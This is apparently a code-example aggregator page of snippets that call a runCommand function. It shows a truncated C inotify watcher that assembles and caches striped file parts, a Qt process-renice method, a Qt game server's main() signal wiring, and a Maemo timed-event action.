				   sprintf(add_watch_dir, "%s/%s", dirs[i], event->name);
				   int wd = inotify_add_watch(fd, add_watch_dir, IN_ALL_EVENTS);
				   if (wd == -1){

				   } else {
					printf("READ := Watching := %s\n", add_watch_dir);
				   }

				   wds[counter] = wd;
				   strcpy(dirs[counter], add_watch_dir);
				   counter++;
			        }
			      break;
			   }
		      }
		  } else {
		  }
	     }

              if (event->mask & IN_OPEN){
                  if (event->mask & IN_ISDIR){

                  }else {
			//printf("Linear file %s opened.\n", event->name);
                      if (strstr(event->name,"part1.") != NULL){

			int k = 0;
			for (k = 0; k < counter; k++){
				if (wds[k] == event->wd){
					//printf("IN OPEN : %s | FILENAME : %s\n", dirs[k], event->name);
					break;
				}
			}

			//printf("FILENAME : %s opened.\n", event->name);
			int flag;
                        FILE *fp = fopen("random.txt", "r");
			fscanf(fp,"%d",&flag);
			fclose(fp);
			printf("IN OPEN FLAG := %d\n", flag);
			if (flag == 0){ //done striping continue with open event
                        incrementFrequency(event->name);
                        String comm = "", comm_out = "";
                        int inCache = 0;
                        sprintf(comm, "ls %s", CACHE_LOC);
                        runCommand(comm, comm_out);

                        char *ptr = NULL;
                        ptr = strtok(comm_out, "\n");
                        while (ptr != NULL){
                             if (strcmp(ptr, event->name) == 0){
                                 inCache = 1;
                                 break;
                             }
			     ptr = strtok(NULL, "\n");
                        }
                        if (!inCache){
			    printf("Watch Share: Should be assembling file here....\n");
                
		FILE *fp1 = fopen("assembled.txt", "rb");
                String file = "";
		int check = 0;
		String line = "";
		strcpy(file, event->name);
                strcat(file, "\n");
                while (fgets(line, sizeof(file), fp1) != NULL){
			printf("LINE := %s | FILENAME := %s\n", line, event->name);
			if (strcmp(line, file) == 0){
				printf("SAME FILE := \n");
				check = 1;
				break;
			}
		}
		fclose(fp1);
		if (!check){
		// assemble the file by getting parts from volumes
                // take NOTE: assembly of file should only happen when all files are present
                // (or when no file striping is happening)
                // can this be determined with random.txt?
                assemble(event->name);}
			    //String assembled_file = "";
			    //sprintf(assembled_file, "%s/%s", ASSEMBLY_LOC, event->name);


			    //printf("Assembled File: %s\n", assembled_file);
                            //assemble(event->name);
			    //printf("Checking if assembled file exist...\n");
			    //FILE *fp;
			    //fp = fopen(assembled_file, "r");
			    //if (fp == NULL){
				//printf("Assembled file does not exist. Assembling here...\n");
				//assemble(event->name);
			    //} else {
				//printf("Assembled file already exist. Don't assembled anymore..\n");
			    //}
			    //fclose(fp);
                        }
                      }
		    }
                  }
              }

              if (event->mask & IN_CLOSE){
                  if (event->mask & IN_ISDIR){

                  }else{
                      syslog(LOG_INFO, "FileTransaction: The file %s was closed.\n", event->name);
                      //printf("File %s closed.\n", event->name);
		      int k = 0;
		      for (k = 0; k < counter; k++){
			if (wds[k] == event->wd){
				//printf("IN_CLOSE : %s | FILENAME : %s\n", dirs[k], event->name);
				break;
			}
		      }
		      //strcpy(COMMANDS[COUNTER], "");
		      //COUNTER++;
		      //String original_file = "";
		      //sprintf(original_file, "%s/%s", STORAGE_LOC, event->name);
		      //FILE *fp;
                    //  fp = fopen(original_file, "r");
		  //    if (fp == NULL){
		//	printf("Original file does not exist.. Do nothing..\n");
		  //    } else {
		//	printf("Original file exist. File closed. Disassembling file..\n");
		     //}
		      //fclose(fp);
		      int flag;
		      FILE *fp = fopen("random.txt", "rb");
		      fscanf(fp, "%d", &flag);
		      fclose(fp);
		      printf("IN CLOSE FLAG := %d\n", flag);
		      if (flag == 0) { //done striping

			String comm = "", comm_out = "";
			int inCache = 0;
			strcpy(comm, "ls /mnt/CVFSCache");
			runCommand(comm, comm_out);

			char *pch = strtok(comm_out, "\n");
			while (pch != NULL){
				if (strcmp(pch, event->name) == 0){
					inCache = 1;
					break;
				}
				pch = strtok(NULL, "\n");
			}

			if (!inCache){
				//check if file already assembled
				FILE *fp = fopen("assembled.txt", "rb");
				String line = "";
				String file = "";
				int assembled = 0;
				strcpy(file, event->name);
				strcat(file, "\n");
				while (fgets(line, sizeof(file), fp) != NULL){
					printf("LINE := %s | FILE := %s\n", line, event->name);
					if (strcmp(line, file) == 0){
						assembled = 1;
						break;
					}
				}
				fclose(fp);

				if (assembled){
		    			printf("File has been closed\n");
					disassemble(event->name);
				}
			}

                      	if (strstr(event->name, "part1.") != NULL){
                        	   refreshCache();
                      	}
		      }
                  }
              }

              p += EVENT_SIZE + event->len;

       }
}

    /* Clean up */
    inotify_rm_watch(fd, wd);
    close(fd);
    sqlite3_finalize(res);
    sqlite3_close(db);
}
示例#28
0
bool ProcessesRemote::setNiceness(long pid, int priority) {
    emit runCommand("setpriority " + QString::number(pid) + " " + QString::number(priority), (int)Renice);
    return true;
}
示例#29
0
文件: main.cpp 项目: ZackMattor/tis
int main(int argc, char *argv[])
{
    QCoreApplication app(argc, argv);
    app.setOrganizationName("arksaw");
    app.setApplicationName("tisserver");

    // Initialize settings stuff
    QSettings::setDefaultFormat(QSettings::IniFormat);
    QSettings settings;
    settings.setValue("port", 50000);
    settings.sync();

    Console console;
    Database database;
    SessionManager sessionManager(0, &database);
    GameThread game(0, &database, &sessionManager);
    UdpServer udpServer;

    qRegisterMetaType<Packet>("Packet");
    qRegisterMetaType<QHostAddress>("QHostAddress");
    // Console signals/slots
    QObject::connect(&console, SIGNAL(commandEntered(CommandType,QStringList)),
                     &sessionManager, SLOT(runCommand(CommandType,QStringList)));
    QObject::connect(&console, SIGNAL(commandEntered(CommandType,QStringList)),
                     &game, SLOT(runCommand(CommandType,QStringList)),
                     Qt::DirectConnection); // Need direct connection from cross-thread signals to blocked thread
    QObject::connect(&console, SIGNAL(commandEntered(CommandType,QStringList)),
                     &udpServer, SLOT(runCommand(CommandType,QStringList)));

    // Database signals/slots
    QObject::connect(&database, SIGNAL(writeToConsole(QString)),
                     &console, SLOT(writeLine(QString)),
                     Qt::QueuedConnection);

    // SessionManager signals/slots
    QObject::connect(&sessionManager, SIGNAL(writeToConsole(QString)),
                     &console, SLOT(writeLine(QString)));
    QObject::connect(&sessionManager, SIGNAL(responseReady(Packet,QHostAddress,quint16)),
                     &udpServer, SLOT(sendResponse(Packet,QHostAddress,quint16)), Qt::QueuedConnection);

    // GameThread signals/slots
    QObject::connect(&game, SIGNAL(writeToConsole(QString)),
                     &console, SLOT(writeLine(QString)));
    QObject::connect(&game, SIGNAL(updatePacketReady(Packet)),
                     &sessionManager, SLOT(sendUpdatePacket(Packet)),
                     Qt::QueuedConnection);

    // UdpServer signals/slots
    QObject::connect(&udpServer, SIGNAL(writeToConsole(QString)),
                     &console, SLOT(writeLine(QString)));
    QObject::connect(&udpServer, SIGNAL(packetReceived(Packet,QHostAddress,quint16)),
                     &sessionManager, SLOT(processPacket(Packet,QHostAddress,quint16)),
                     Qt::DirectConnection);

    // Set up threading.
    QThread thread;
    game.moveToThread(&thread);
    thread.start();
    thread.connect(&thread, SIGNAL(finished()), &app, SLOT(quit()));

    // Invoke with Qt::QueuedConnection since the Qt event loop isn't up yet
    QMetaObject::invokeMethod(&database, "init", Qt::QueuedConnection);
    QMetaObject::invokeMethod(&sessionManager, "start", Qt::QueuedConnection);
    QMetaObject::invokeMethod(&game, "start", Qt::QueuedConnection);
    QMetaObject::invokeMethod(&udpServer, "start", Qt::QueuedConnection);

    // Run the primary thread's main event loop.
    // exec() will return when we stop the main event loop via a signal
    return app.exec();
}
示例#30
0
文件: action.cpp 项目: cxl000/timed
void Maemo::Timed::EventAction::runCommand(const QString &cmd, const QString &user)
{
  runCommand(cmd) ;
  setAttribute("USER", user) ;
}